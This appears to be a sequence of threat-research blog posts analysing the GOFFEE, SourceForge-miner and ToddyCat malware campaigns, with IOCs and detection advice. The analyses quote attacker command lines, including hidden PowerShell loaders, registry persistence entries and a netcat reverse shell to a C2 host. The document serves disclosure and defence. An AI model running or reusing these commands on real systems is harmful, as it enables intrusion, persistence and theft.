There are other relevant metrics, such as the proportion of behavior-based rules in the total set. Many more metrics can be derived from a general understanding of the detection engineering process and its purpose to support the DE program. However, program managers should focus on selecting metrics that are easy to measure and can be calculated automatically by available tools, minimizing the need for manual effort. Avoid using an excessive number of metrics, as this can lead to a focus on measurement only. Instead, prioritize a few meaningful metrics that provide valuable insight into the program’s progress and efforts. Choose wisely!

Read More 

GOFFEE is a threat actor that first came to our attention in early 2022. Since then, we have observed malicious activities targeting exclusively entities located in the Russian Federation, leveraging spear phishing emails with a malicious attachment. Starting in May 2022 and up until summer of 2023, GOFFEE deployed modified Owowa (malicious IIS module) in their attacks. As of 2024, GOFFEE started to deploy patched malicious instances of explorer.exe via spear phishing.

During the second half of 2024, GOFFEE continued to launch targeted attacks against organizations in Russia, utilizing PowerTaskel, a non-public Mythic agent written in PowerShell, and introducing a new implant that we dubbed “PowerModul”. The targeted sectors included media and telecommunications, construction, government entities, and energy companies.

This report in a nutshell:

• GOFFEE updated distribution schemes.
• A previously undescribed implant dubbed PowerModul was introduced.
• GOFFEE is increasingly abandoning the use of PowerTaskel in favor of a binary Mythic agent for lateral movement.

For more information, please contact: intelreports@kaspersky.com

Technical details

Initial infection

Currently, several infection schemes are being used at the same time. The starting point is typically a phishing email with a malicious attachment, but the schemes diverge slightly from there. We will review two of them relevant at the time of the research.

The first infection scheme uses a RAR archive with an executable file masquerading as a document. In some cases, the file name uses a double extension, such as “.pdf.exe” or “.doc.exe”. When the user clicks the executable file, a decoy document is downloaded from the C2 and opened, while malicious activity is carried out in parallel.

Example of decoy document

The file itself is a Windows system file (explorer.exe or xpsrchvw.exe), with part of its code patched with a malicious shellcode. The shellcode is similar to what we saw in earlier attacks, but in addition contains an obfuscated Mythic agent, which immediately begins communicating with the command-and-control (C2) server.

Malware execution flow v1

In the second case, the RAR archive contains a Microsoft Office document with a macro that serves as a dropper.

Malware execution flow v2

Malicious document with a macro

When a document is opened, scrambled text and a warning image with the message, “This document was created in an earlier version of Microsoft Office Word. For Microsoft Office Word to display the contents correctly, click ‘Enable Content’”, are shown. Clicking “Enable Content” activates a macro that hides the warning image and restores the text through a normal character replacement operation. Additionally, the macro creates two files in the user’s current folder: an HTA and a PowerShell file, and writes the HTA into the registry using the “LOAD” registry value of the “HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows” registry key.

HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows
"LOAD"="C:Users<USER_NAME>UserCache.ini.hta"

Although the macro itself does not start anything or create new processes, the programs listed in the “LOAD” value of the registry key are run automatically for the currently logged-on user.

UserCache.ini.hta content

The malicious HTA runs a PowerShell script (PowerModul), but not directly. Instead, it first uses cmd.exe and output redirection to drop a JavaScript file named “UserCacheHelper.lnk.js” onto the disk, and then executes it. Only then does the dropped JavaScript run PowerModul:

cmd.exe /c if not exist "C:UsersuserUserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\.\root\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c "$raw= Get-Content C:\Users\user\UserCache.ini;Invoke-Expression $raw"";var result = processClass.Create(command, null, objConfig, 0); > C:UsersuserUserCacheHelper.lnk.js

It is worth noting that “UserCache.ini.hta” and “UserCacheHelper.lnk.js” contain strings with full paths to the files, including the local user’s name, instead of environment variables. As a result, the control keys, as well as the file sizes, will vary depending on the current user’s name.

UserCacheHelper.lnk.js content

The “UserCacheHelper.lnk.js” file launches a PowerShell file named “UserCache.ini”, dropped by the initial macro. This file contains encoded PowerModul.

PowerModul

PowerModul is a PowerShell script capable of receiving and executing additional PowerShell scripts from the C2 server. The first instances of this implant’s usage were detected at the beginning of 2024. Initially, it was used to download and launch the PowerTaskel implant, and was considered a relatively minor component for launching PowerTaskel. However, its use of a unique protocol, distinct payload types, and a C2 server different from PowerTaskel’s led us to classify it as a separate family.

UserCache.ini content

In the scheme being described, the PowerModul code is embedded in the “UserCache.ini” file as a Base64-encoded string. The beginning and end of the decoded script are shown in the images below, while the middle section contains a copy of the HTA file, as well as code responsible for dropping the HTA file onto the disk, writing it to the registry, and hiding the file by changing its attributes to “Hidden”. Essentially, this code replicates part of the functionality of the VBA macro found in the Word document, except for file hiding, which was not implemented in VBA.

Beginning of PowerModul

End of PowerModul

When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting of the computer name, username, and disk serial number, separated with underscores:

hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number}

The response from the C2 is in XML format, complete with scripts encoded in Base64:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/plain
Content-Length: 35373
Connection: keep-alive

<Configs>
  <Config>
	<Module>ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC....==</Module>
	<CountRuns>250</CountRuns>
	<Interval>1</Interval>
  </Config>
  <Config>
	<Module>ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I...</Module>

There is an additional, previously undescribed function in PowerModul, named “OfflineWorker()”. It decodes a predefined string and executes its contents. In the instance shown in the screenshots above, the string to be decoded is empty, and therefore, nothing is executed. However, we have observed cases where the string contained content. An example of the OfflineWorker() function containing the FlashFileGrabber data stealing tool code is shown below:

function OfflineWorker() {
	try{
    	$___offlineFlash = 'ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE…….=';

    	if($___offlineFlash -ne ''){
        	$___flashOfflineDecoded = FromBase64 $___offlineFlash;
        	Invoke-Expression($___flashOfflineDecoded);
    	}
	}
	catch{}
}

The payloads used by PowerModul include the PowerTaskel, FlashFileGrabber, and USB Worm tools.

FlashFileGrabber

As its name suggests, FlashFileGrabber is designed to steal files from removable media, such as flash drives. We have identified two variants: FlashFileGrabber and FlashFileGrabberOffline.

FlashFileGrabberOffline main routine

FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following the template “%TEMP%CacheStoreconnect<VolumeSerialNumber>”. The folder names “CacheStore” and “connect” are hardcoded within the script. Examples of such paths are provided below:

%TEMP%CacheStoreconnect624311032024some.pdf
%TEMP%CacheStoreconnect62431103Documentssome.docx
%TEMP%CacheStoreconnect62431103attachment.jpg
%TEMP%CacheStoreconnect6c1d1372Printresume.docx

Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for the copied files, including the full path to the original file, its size, and dates of last access and modification. Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of the aforementioned metadata. This allows the malware to avoid copying the same files more than once:

%TEMP%CacheStoreconnect<VolumeSerialNumber>ftree.db
%AppData%internal_profiles.db

The list of file extensions of interest is as follows:

FlashFileGrabber largely duplicates the functionality of FlashFileGrabberOffline, but with one key difference: it is capable of sending files to the C2 server.

FlashFileGrabber’s routines

USB Worm

USB Worm is capable of infecting removable media with a copy of PowerModul. To achieve this, the worm renames the files on the removable disk with a random name, retaining their original extension, and assigns them the “Hidden” file attribute. The “UserCache.ini” file, which contains PowerModul, is then copied to the folder with the original file.

USB Worm main routine

Additionally, the worm creates hidden VBS and batch files to launch PowerModul and open a decoy document.

CreateVBSFile() and CreateBatFile() functions

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run Chr(34) & ".zermndzg.bat" & Chr(34), 0, False
WshShell.Run Chr(34) & ".zermndzg.docx" & Chr(34), 1, False
Set WshShell = Nothing

Example of the contents of a malicious VBS

powershell -exec bypass -windowstyle hidden -nop -c "$raw= [io.file]::ReadAllText(""".UserCache.ini"""); iex $raw;"

Example of the contents of a malicious batch file

A shortcut is also created with the original name of the decoy document, which, when launched, executes the VBS file.

CreateShortcutForFile() function

To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of the original file. The worm limits the number of documents replaced with shortcuts to five, selecting only the most recently accessed files by sorting them according to their LastAccessTime attribute.

System infection scheme via removable media

PowerTaskel

We have dubbed the non-public PowerShell Mythic agent delivered via a mail-based infection chain since early 2023, as PowerTaskel. This implant possesses only two primary capabilities: sending information about the targeted environment to a C2 server in the form of a “checkin” message, and executing arbitrary PowerShell scripts and commands received from the C2 server as “tasks” in response to “get_tasking” requests from the implant. The request payloads are PowerShell objects that are serialized to XML, encoded using XOR with a sample-specific 1-byte key, and then converted to Base64.

Based on the naming and ordering of the configuration parameters, it is likely that PowerTaskel is derived from the open-source Medusa Mythic agent, which was originally written in Python.

Comparison of Medusa and PowerTaskel configuration code

Comparison of Medusa and PowerTaskel “checkin” function code

PowerTaskel is a fully functional agent capable of executing commands and PowerShell scripts, which expand its capabilities to downloading and uploading files, running processes, etc. However, its functionality is often insufficient due to specific aspects of PowerShell usage, prompting the group to switch to a custom binary Mythic agent. To achieve this, PowerTaskel loads the Mythic agent from the C2 server, injects it into its own process memory, and runs it in a separate thread. In this scenario, the Mythic agent is present as a self-configuring x32/x64 shellcode. The method of injecting and loading the Mythic agent shellcode is described in more detail in the “Lateral Movement” section.

In at least one instance, PowerTaskel received a script containing a FolderFileGrabber component as a task. FolderFileGrabber largely replicates the functionality of FlashFileGrabber, with one key difference: it can grab files from remote systems via a hardcoded network path using the SMB protocol. The PowerShell cmdlet “New-SmbMapping” is used to access remote system resources, enabling successful retrieval of the desired files.

Lateral movement

Following system infection, if the user account permissions allow it, PowerTaskel performs several tasks to elevate its privileges to the System level. To achieve this, PowerTaskel utilizes the PsExec utility, which is part of the Sysinternals suite. The PsExec utility is dropped into the current directory where PowerTaskel is located and is used to execute mshta.exe with system privileges, passing a URL as an argument.

The images below depict two tasks that PowerTaskel executes with its C2 server. The first task checks for the presence of the file “ntuser.exe” in the %ProgramData% directory, and if it is not found, downloads it from the C2 server. The second task runs mshta.exe via ntuser.exe, which is actually a renamed PsExec utility.

Getting “ntuser.exe”

The “ntuser.exe” executable running “mshta.exe”

The next image illustrates an example of the execution flow of various scripts and commands started with the privilege elevation procedure. The executable file “1cv9.exe” is a renamed PsExec utility, and the argument “-s” specifies that the process it launches should run under the System account. The launched program “mshta.exe” accepts a URL as an argument, which points to an HTA file containing malicious, obfuscated JScript. The HTA file is cached and saved to the InetCache folder. This JScript creates two files, “desktop.js” and “user.txt”, on the disk using the “echo” console command with output redirection to a file, and then executes desktop.js via cscript.exe. The desktop.js file, in turn, launches the interpreter with a script on the command line, which reads the contents of user.txt and executes it. As evident from the contents passed to the “echo” command, user.txt is another PowerShell script whose task is to extract a payload from a hardcoded address and execute it. In this case, the payload is PowerTaskel, which now runs with the elevated privileges.

Example of execution flow on an infected system

Once launched, PowerTaskel interacts with its C2 server and executes standard commands to gather information about the system and environment. Notably, the launch of csc.exe (Visual C# Command Line Compiler) indicates that PowerTaskel has received a task to load a shellcode, which it accomplishes using an auxiliary DLL. The primary function of this DLL is to copy the shellcode into allocated memory. In our case, the shellcode is self-configuring code for the binary Mythic agent.

The final line of the execution flow (“hxxp://192.168.1[.]2:5985/wsman”) reveals a call to the WinRM (Microsoft Windows Remote Management) service, located on a remote host on the local network, via the loaded Mythic agent. A specific User-Agent header value, “Ruby WinRM Client”, is used to access the WinRM service.

HTTP header for WinRM request

The WinRM service is actively utilized by GOFFEE for network distribution purposes. Typically, this involves launching the mshta.exe utility on the remote host with a URL as an argument. The following examples illustrate the execution chains observed on remote hosts:

wmiprvse.exe -secured -Embedding
 -> cmd.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wsmprovhost.exe
 -> mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> cmd.exe /Q /c powershell.exe mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

wmiprvse.exe -secured -Embedding
 -> powershell.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta

Recently, we have observed that GOFFEE is increasingly abandoning the use of PowerTaskel in favor of the binary Mythic agent during lateral movement.

Mythic agent HTA

The mshta.exe utility is still employed to launch the binary Mythic agent, with a URL passed as an argument. However, the payload contents for the passed URL differ from the traditional HTA format. It is relatively large, approximately 180 kilobytes, and is characterized as a polyglot file, which is a type of file that can be validly interpreted in multiple formats. The shellcode containing the Mythic agent is located at the beginning of the file and occupies approximately 80% of its size. It is followed by two Base64-encoded PowerShell scripts, separated by a regular line break, and finally, the HTA file itself.

Polyglot payload

When the mshta.exe utility downloads the aforementioned payload, it interprets it as an HTA file and transfers control to an obfuscated JScript embedded within the HTA section of the polyglot file. The script first determines the argument used to launch the mshta.exe utility, whether it was a URL or a path to a local file. If a URL was used as the argument, the script searches for the original HTA file in the InetCache folder, where the system cached the HTA file during download. To do this, the script iterates through all files in the cache folder and checks their contents for the presence of a specific magic string.

Deobfuscated JScript from the HTA section of the payload

If an HTA file is found on the disk, the script drops two files, “settings.js” and “settings.ps1”, using the “echo” command, and then runs settings.js with additional command-line arguments. The script then sets a timer for 10 seconds, after which the dropped files will be deleted.

Deobfuscated “settings.js”

The running settings.js script accepts three command-line arguments: the path to powershell.exe, the path to the HTA file, and the string “Shell.Application”. These received arguments are used to populate a PowerShell script, the contents of which are then passed to the powershell.exe command line.

powershell.exe -c "$INbqDKHp = "C:\\Users\\[username]\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\duplicate````[1````].hta";$OdfUfjp = get-content $env:USERPROFILE\settings.ps1;$KWfWXqek=1;Invoke-Expression $OdfUfjp;$KWfWXqek=2;Invoke-Expression $OdfUfjp;$KWfWXqek=3;Invoke-Expression $OdfUfjp;"

The script passed to the PowerShell interpreter declares two variables: “$INbqDKHp”, which stores the path to the HTA file, and “$KWfWXqek”, a counter. The script then reads the contents of “settings.ps1” and executes it three times, passing the path to the HTA file and the counter as arguments, and incrementing the value of the “$KWfWXqek” variable by 1 each time.

Deobfuscated “settings.ps1”

During each execution, the “settings.ps1” script reads the contents of the HTA file, splits it into lines, and identifies Base64-encoded scripts. To detect these scripts, it first locates the line containing the HTA application tag by searching for the substring “<HTA:APPLICATION”. The three lines preceding this tag contain Base64-encoded scripts. Depending on the value of the “$KWfWXqek” counter, the script executes the corresponding Base64-encoded script.
The first two scripts are used to declare auxiliary functions, including compiling a helper DLL, which is necessary for executing the shellcode. The third script is responsible for allocating memory, loading the shellcode from the HTA file (whose path is retrieved from the previously defined “$INbqDKHp” variable), and transferring control to the loaded shellcode, which is the self-configuring code of the Mythic agent.

Victims

According to our telemetry, the identified targets of the malicious activities described in this article are located in Russia, with observed activity spanning from July 2024 to December 2024. The targeted industries are diverse, encompassing organizations in the mass media and telecommunications sectors, construction, government entities, and energy companies.

Attribution

In this campaign, the attacker utilized PowerTaskel, which had previously been linked to the GOFFEE group. Additionally, HTA files and various scripts were employed in the infection chain.

The malicious executable attached to the spear phishing email is a patched version of explorer.exe, similar to what we observed in GOFFEE’s attacks earlier in 2024, and contains shellcode that is very similar to the one previously used by GOFFEE.

Considering the same victimology, we can attribute this campaign to GOFFEE with a high degree of confidence.

Conclusions

Despite using similar tools and techniques, GOFFEE introduced several notable changes in this campaign.

For the first time, they employed Word documents with malicious VBA scripts for initial infection. Additionally, GOFFEE utilized a new PowerShell script downloader, PowerModul, to download PowerTaskel, FlashFileGrabber, and USB Worm. They also began using the binary Mythic agent, and likely developed their own implementations in PowerShell and C.

While GOFFEE continues to refine their existing tools and introduce new ones, these changes are not significant enough to suggest that they can be confused with another actor.

Read More 

Recently, we noticed a rather unique scheme for distributing malware that exploits SourceForge, a popular website providing software hosting, comparison, and distribution services. The site hosts numerous software projects, and anyone can upload theirs. One such project, officepackage, on the main website sourceforge.net, appears harmless enough, containing Microsoft Office add-ins copied from a legitimate GitHub project. The description and contents of officepackage provided below were also taken from GitHub.

Description of the “officepackage” project

Few know that projects created on sourceforge.net get a sourceforge.io domain name and web hosting services. Pages like that are well-indexed by search engines and appear in their search results.

Example of a search query and results containing officepackage.sourceforge.io

The project under investigation has been assigned the domain officepackage.sourceforge[.]io, but the page displayed when you go to that domain looks nothing like officepackage on sourceforge.net. Instead of the description copied from GitHub, the visitor is presented with an imposing list of office applications complete with version numbers and “Download” buttons.

The project as seen on the officepackage.sourcefoge.io domain

Hovering over one of the buttons reveals a seemingly legit URL in the browser status bar: https[:]//loading.sourceforge[.]io/download. It is easy to make the mistake of associating that URL with officepackage, as the buttons are on that project’s page. However, the loading.sourceforge.io domain suggests a different project on sourceforge.net, named loading.

URL associated with the “Download” button

Clicking the link redirects to a page with yet another “Download” button, this time in English.

Page for downloading the suspicious archive

Clicking that button finally downloads a roughly seven-megabyte archive named vinstaller.zip. This raises some red flags, as office applications are never that small, even when compressed.

The infection chain: from searching for office software to downloading an installer

The downloaded archive contains another password-protected archive, installer.zip, and a Readme.txt file with the password.

Contents of vinstaller.zip

Inside installer.zip is a file named installer.msi. This is a Windows Installer file that exceeds 700 megabytes. Apparently, the large size is intended to convince users they are looking at a genuine software installer. Attackers use the file pumping technique to inflate the file size by appending junk data. The file in question was padded with null bytes. After we stripped the junk bytes, its true size was 7 megabytes.

Contents of installer.zip

Running the installer creates several files, with two being of interest to us: UnRAR.exe (a console archive utility) and a password-protected archive named 51654.rar. The installer then executes an embedded Visual Basic script. Attackers have long distributed password-protected archives along with unpacking utilities, passing the password via the command line. However, this case has an intermediary step. The installer files lack an archive password. Instead, to continue the infection chain, the VB script runs a PowerShell interpreter to download and execute a batch file, confvk, from GitHub. This file contains the password for the RAR archive. It also unpacks malicious files and runs the next-stage script.

The infection chain: from launching the installer to downloading the confvk batch script

Here is a breakdown of how the batch script works. First, it checks for an existing infection by searching for the AutoIt interpreter at a specific path. If AutoIt is found, the script deletes itself and exits. If not, the script checks for processes associated with antivirus software, security solutions, virtual environments, and research tools. If it detects anything like that, it deletes itself.

If both checks pass, the script unpacks the RAR archive and runs two PowerShell scripts within its code.

"%ProgramData%distUnRAR.exe" x -y -p147852369 "%ProgramData%dist51654.rar" "%ProgramData%dist"

Command to unpack the RAR archive executed by the batch file

One of the PowerShell scripts sends a message to a certain chat using the Telegram API. The message contains system information, the infected device’s external IP address and country, CPU name, operating system, installed antivirus, username, and computer name.

Code snippet from confvk with commands to unpack the malicious archive and run the Telegram file-sending script

The other PowerShell script downloads another batch file, confvz, to process the files that were extracted from the RAR archive.

Contents of the RAR archive

The contents of the archive can be seen in the screenshot above. Below is a summary of each file.

The confvz batch file creates three subdirectories at %ProgramData% and moves the unpacked archive files into those. The first subdirectory receives Input.exe and Icon.dll, the second gets another Input.exe copy with Kape.dll, and the third gets all netcat files. The batch file then creates ini.cmd and init.cmd batch scripts at %USERPROFILE%Cookies to run the files it copied. These scripts execute Input.exe (the AutoIt interpreter), passing the paths to Icon.dll and Kape.dll (both containing compressed AutoIt scripts) as arguments.

Contents of the confvz batch file

Next, confvz generates keys in the registry key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Paths*. These link to the ini.cmd and init.cmd batch files. The keys allow running files using shortened names. For example, the registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Pathsinstall.exe"::"%USERPROFILE%Cookiesini.cmd

launches ini.cmd when running install.exe. Similarly, start.exe is registered as a link to init.exe, and Setup.exe links to the system utility %WINDIR%System32oobeSetup.exe, normally launched during OS installation. We will revisit this utility later.

Then confvz creates services named NetworkConfiguration and PerformanceMonitor to autostart the batch files, and a service named Update to directly run the AutoIt interpreter without intermediate batch files.

Additionally, as a backup autostart method, confvz adds this registry key:

"HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMicrosoftEdgeUpdate.exe"::Debugger="%WINDIR%System32cmd.exe /c start start.exe"

This runs a debugger when MicrosoftEdgeUpdate.exe is started. The debugger is set to execute start.exe, which, based on the earlier registry keys, points to init.cmd.

Using the built-in WMIC utility, an event filter is created to trigger a handler every 80 seconds. While disabled by default in more recent Windows versions, WMIC still functions in older systems.

The handler executes the following command:

ShellExperienceHost.exe --ssl apap.app 445 -e cmd.exe

ShellExperienceHost.exe is the netcat executable from the malicious archive. The arguments above make the utility establish an encrypted connection with the C2 server apap[.]app on port 445 and launch a command-line interpreter with redirected input/output through that connection. This essentially creates a remote command line with apap[.]app:445 as the C2 server.

Finally, confvz creates a file:

%WINDIR%SetupScriptsErrorHandler.cmd

This is a custom script you can build in Windows to streamline troubleshooting during OS installation. If a critical error occurs, the %System32%oobeSetup.exe utility finds and executes this file. However, the attackers have found a way to exploit it for automatic startup. They achieve this by again using the operating system’s built-in WMIC utility to establish an event filter that triggers the handler every 300 seconds. The handler is specified as %WINDIR%System32cmd.exe /c start Setup.exe, while Setup.exe, according to the registry keys created earlier, references the utility %WINDIR%System32oobeSetup.exe, which executes ErrorHandler.cmd upon launch. The ErrorHandler.cmd file contains a short PowerShell script that uses the Telegram API to retrieve and execute a text string. This is another remote command line, but its output is not sent anywhere.

The infection chain: from executing confvk to setting up all the auto-start methods

The key malicious actions in this campaign boil down to running two AutoIt scripts. Icon.dll restarts the AutoIt interpreter and injects a miner into it, while Kape.dll does the same but injects ClipBanker. ClipBanker is a malware family that replaces cryptocurrency wallet addresses in the clipboard with the attackers’ own. Users of crypto wallets typically copy addresses instead of typing them. If the device is infected with ClipBanker, the victim’s money will end up somewhere entirely unexpected.

Victims

The officepackage.sourceforge[.]io site has a Russian interface, suggesting a focus on Russian-speaking users. Our telemetry indicates that 90% of potential victims are in Russia, where 4,604 users encountered the scheme between early January and late March.

Takeaways

Distributing malware disguised as pirated software is anything but new. As users seek ways to download applications outside official sources, attackers offer their own. They keep looking for new ways to make their websites look legit. The scheme described here exploits SourceForge feature of creating a sourceforge.io subdomain for each sourceforge.net repository.

The persistence methods are worthy of note as well. Attackers secure access to an infected system through multiple methods, including unconventional ones. While the attack primarily targets cryptocurrency by deploying a miner and ClipBanker, the attackers could sell system access to more dangerous actors.

We advise users against downloading software from untrusted sources. If you are unable to obtain some software from official sources for any reason, remember that seeking alternative download options always carries higher security risks.

Read More 

To hide their activity in infected systems, APT groups resort to various techniques to bypass defenses. Most of these techniques are well known and detectable by both EPP solutions and EDR threat-monitoring and response tools. For example, to hide their activity in Windows systems, cybercriminals can use kernel-level rootkits, in particular malicious drivers. However, in the latest versions of Windows, kernel-mode drivers are loaded only if digitally signed by Microsoft. Attackers get round this protection mechanism by using legitimate drivers that have the right signature, but contain vulnerable functions that allow malicious actions in the context of the kernel. Monitoring tools track the installation of such drivers and check applications that perform it. But what if a security solution performs unsafe activity? Such software enjoys the trust of monitoring tools and doesn’t raise suspicions.

And that’s precisely what ToddyCat attackers exploited by running their tool in the context of a security solution.

Detection

In early 2024, while investigating ToddyCat-related incidents, we detected a suspicious file named

version.dll

in the temp directory on multiple devices.

This 64-bit DLL, written in C++, turned out to be a complex tool called TCESB. Previously unseen in ToddyCat attacks, it is designed to stealthily execute payloads in circumvention of protection and monitoring tools installed on the device.

Kaspersky products detect this tool as

Trojan.Win64.ToddyCat.a

,

Trojan.Win64.ToddyCat.b

.

Loading the tool

DLL proxying

Static analysis of the DLL library showed that all functions exported by it import functions with the same names from the system file

version.dll

(Version Checking and File Installation Libraries).

List of functions exported by TCESB

This indicates that the attackers use a DLL-proxying technique (Hijack Execution Flow, T1574) to run the malicious code. By means of this technique, a malicious DLL exports all functions of a legitimate one, but instead of implementing them, redirects calls to these functions to the original DLL. This way, an application that loads the malicious library will continue to work as normal, with the malicious code running in the context of this application in the background.

Schematic of DLL proxying

However, this is not enough to launch malware. For a malicious DLL to be able to take control, the application that loads it must contain insecure code. Such code searches for loaded dynamic library images in folders where they should not be located. If one of these folders contains a malicious library, the vulnerable application will load it instead of the legitimate one. Microsoft has an official advisory on preventing unsafe DLL loading.

CVE-2024-11859 vulnerability in ESET Command line scanner

It took us a while to find the file that loads the TCESB tool. We studied the system directories on devices where the malicious DLLs were found. On one of these, in the same folder as TCESB, there was an extensionless executable file named

ecls

. We believe that the operator, when transferring files to the device, made a mistake in the filename and moved two copies of it. After performing malicious activity, the file with the extension was deleted, while the other one remained in the system. This file turned out to be a component of ESET’s EPP solution – a scanner launched from the command line (ESET Command line scanner). Dynamic analysis showed that the scanner insecurely loads the system library

version.dll

, first checking for the file in the current directory, then searching for it in the system directories. This can result in a malicious DLL library being loaded, which constitutes a vulnerability. We compiled a report with a detailed description of it, and sent it to ESET as part of the Coordinated Vulnerability Disclosure process. ESET registered the CVE-2024-11859 vulnerability, then on January 21, 2025 released an update for the

ecls

file patching the security issue. On April 4, information about this vulnerability appeared in an ESET security advisory.

To analyze TCESB, we ran it in a virtual environment. In the address space of the ESET Command-line scanner process, we can see two

version.dll

files. One is the system library, the other is the DLL of the TCESB tool.

Malicious and legitimate libraries in the memory of the ecls.exe process

Basic functionality

To determine the main functions of the malicious tool, we examined the strings located in its DLL.

Snippet of the list of strings that TCESB contains

The strings are not obfuscated. The search shows that most of them belong to the open-source malicious tool EDRSandBlast, designed to bypass security solutions. Kaspersky solutions detect it with the verdict

HEUR:HackTool.Win64.EDRSandblast.a

. ToddyCat created the TCESB DLL on its basis, modifying the original code to extend the malware’s functionality. The resulting tool’s capabilities include modifying operating system kernel structures to disable notification routines, for example, about a process creation event in the system or a load event.

Searching for addresses in the kernel memory

To find the structures in the kernel memory needed to disable notification routines, TCESB determines the version of the Windows kernel in the context of which it is running. To do this, it uses the

GetNtoskrnlVersion()

function.

Function for getting the Windows kernel version implemented in TCESB

Next, to get information about the memory offsets of the structures corresponding to the operating system kernel version, TCESB uses one of two data sources: a CSV or PDB file.

First, the tool checks the CSV file contained in its own resources section. Stored there in table form is information about several popular kernel versions and their corresponding offsets.

TCESB searches this file line by line for a match with the previously obtained version of the current Windows kernel.

Snippet of the function for getting and reading a CSV file from TCESB resources

We studied the CSV file in the EDRSandBlast repository and its change history. The contents of the TCESB CSV fully match the CSV data in the EDRSandBlast version of August 13, 2022, while the original malware commit of October 6, 2023 adds lines that are missing in the TCESB resource. This indicates a time period during which the creators of TCESB used the EDRSandBlast code.

If the CSV file does not contain data on structures corresponding to the required kernel version, TCESB reads their addresses from the PDB file. To get it, the malware accesses the file C:WindowsSystem32ntoskrnl.exe, which contains information about the kernel file version, and inserts the data from this file into the following template, generating a URL:

https://msdl.microsoft.com/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s

This is the address of Microsoft debug information server, where TCESB sends a GET request to download the PDB file. The received file is saved in the current TCESB directory, and data on the offsets of the required kernel memory structures are read from it.

Vulnerable driver

To modify the kernel structures that store callbacks used to notify applications of system events, TCESB deploys the Bring Your Own Vulnerable Driver (BYOVD) technique (Exploitation for Defense Evasion, T1211). It does this by installing a vulnerable driver in the system through the Device Manager interface, using an INF file with installation information.

Snippet of decompiled code for installing the TCESB driver

TCESB uses the Dell DBUtilDrv2.sys driver, which contains the CVE-2021-36276 vulnerability. This is a utility driver used to update PC drivers, BIOS and firmware.

Launching the payload

Once the vulnerable driver is installed in the system, TCESB runs a loop in which it checks every two seconds for the presence of a payload file with a specific name in the current directory – the payload may not be present at the time of launching the tool. Presumably, this is to allow the operator to verify that the tool was run without errors, so that the payload file can be moved without risk of detection. As soon as the file appears in the path being checked, it is passed to the decryption function.

Snippet of decompiled TCESB code

The tool creates its own log file for recording all stages of execution in detail.

Example of log file contents

We studied two samples of the TCESB tool. Although we were unable to obtain the payload files, our research shows that they have different names (

kesp

and

ecore

) and both are extensionless.

Our analysis of the tool code found that the data in the payload file is encrypted using AES-128.

Snippet of code for determining the encryption algorithm

The decryption key is in the first 32 bytes of the payload file, followed by the encrypted data block. Below is a snippet of code for reading the key:

Snippet of code for reading the key from the payload file

The key decrypts the data block:

Snippet of code for reading and decrypting the payload file

The read data is placed in memory and executed.

Takeaways

We discovered a sophisticated tool that the ToddyCat APT group tried to use for stealth execution in compromised systems. This tool exploits a chain of vulnerabilities, as well as an old version of a known open-source malware that the attackers modified to extend its functionality.

Schematic of tool operation

To detect the activity of such tools, it’s recommended to monitor systems for installation events involving drivers with known vulnerabilities. Lists of such drivers can be found on the loldrivers project website, for example. It’s also worth monitoring events associated with loading Windows kernel debug symbols on devices where debugging of the operating system kernel is not expected. We also advise using operating system tools to check all loaded system library files for the presence of a digital signature.

Indicators of compromise

Malicious Files Hashes

D38E3830C8BA3A00794EF3077942AD96      

version.dll

008F506013456EA5151DF779D3E3FF0F      

version.dll

Legitimate file for DLL proxying

8795271F02B30980EBD9950FCC141304       ESET Command-line scanner

Legitimate files for BYOVD

B87944DCC444E4C6CE9BB9FB8A9C0DEF      

dbutildrv2.INF

DE39EE41D03C97E37849AF90E408ABBE      

DBUtilDrv2.cat

DACB62578B3EA191EA37486D15F4F83C      

dbutildrv2.sys

Read More 

In the first part of our research, I demonstrated how we revived the concept of no authentication (null session) after many years. This involved enumerating domain information, such as users, without authentication. I walked you through the entire process, starting with the difference between no-auth in the MS-RPC interfaces and the well-known null session, and ending with the methodology used to achieve our goal.

Today, as promised, we’ll dive into part two. Here, we’ll explore why Windows behaves the way it does – allowing domain information to be enumerated without authentication. I’ll also explain why this activity is difficult to prevent and monitor.

First, we’ll examine why this activity is hard to stop by looking at how WMI works. We’ll also discuss the methods available for detecting and addressing this issue.

After that, we’ll cover some basics about MS-RPC security and how to secure your RPC server. Then we’ll analyze the security of the MS-NRPC interface using two approaches: theoretical insight and reverse engineering to gain a deeper understanding.

So, buckle up and let’s continue our journey!

The group policy that punches your domain in the face

When it comes to stopping certain activities in Windows, group policies are often the first line of defense, and our case is no exception. As we discussed in part one, the Restrict Unauthenticated RPC Clients policy can be used to block no-auth activity against interfaces. This policy comes with three settings: “None”, “Authenticated”, and “Authenticated without exceptions”.

